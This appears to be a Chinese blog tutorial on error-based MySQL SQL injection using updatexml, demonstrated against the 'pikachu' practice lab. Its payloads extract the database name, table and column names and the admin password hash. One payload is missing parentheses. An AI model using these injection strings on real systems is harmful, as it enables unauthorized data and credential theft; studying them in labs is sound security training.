SQL注入之基于函数报错

1、技巧思路:

在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取指定的信息

Select/insert/update/delete都可以使用报错来获取信息

背景条件:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

2、三个常用的用来报错的函数

Updatexml():是mysql对XML文档数据进行查询和修改的XPATH函数

Extractvalue():也是mysql对XML文档数据进行查询的XPATH函数

Floor():mysql中用来取整的函数

  1. Updatexml():改变(查找并替换)XML文档中符合条件的节点的值

语法Updatexml(xml_document,XPathstring,new_value)

第一个参数:是string格式,为表中的字段名

第二个参数:XPathstring(Xpath格式的字符串)

第三个参数:string格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则会发生错误

3、实验演示

首先需要确定该平台是否是用报错来返回信息

Kobe’ and updatexml(1,version(),0)#,中间的值也可以是表达式,那么就会先执行表达式的值,再返回到报错信息

进行改进:kobe’ and updatexml(1,concat(0x7e,version()),0)#,concat是将括号里面的数据进行连接

kobe’ and updatexml(1,concat(0x7e,database()),0)#

kobe’ and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_name=’pikachu’),0)#

获取表名:

第一个:

kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),0)#

kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 1,1)),0)#

获取列名:

kobe’ and updatexml(1,concat(0x7e,(select column_name from

information_schema.columns where table_name=’users’ limit 0,1)),0)#

获取到列名称后,再来获取数据:

Kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

Kobe’ and updatexml(1,concat(0x7e,(select password from users where username=’admin’ limit 0,1)),0)#,获取到了加密的密文

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值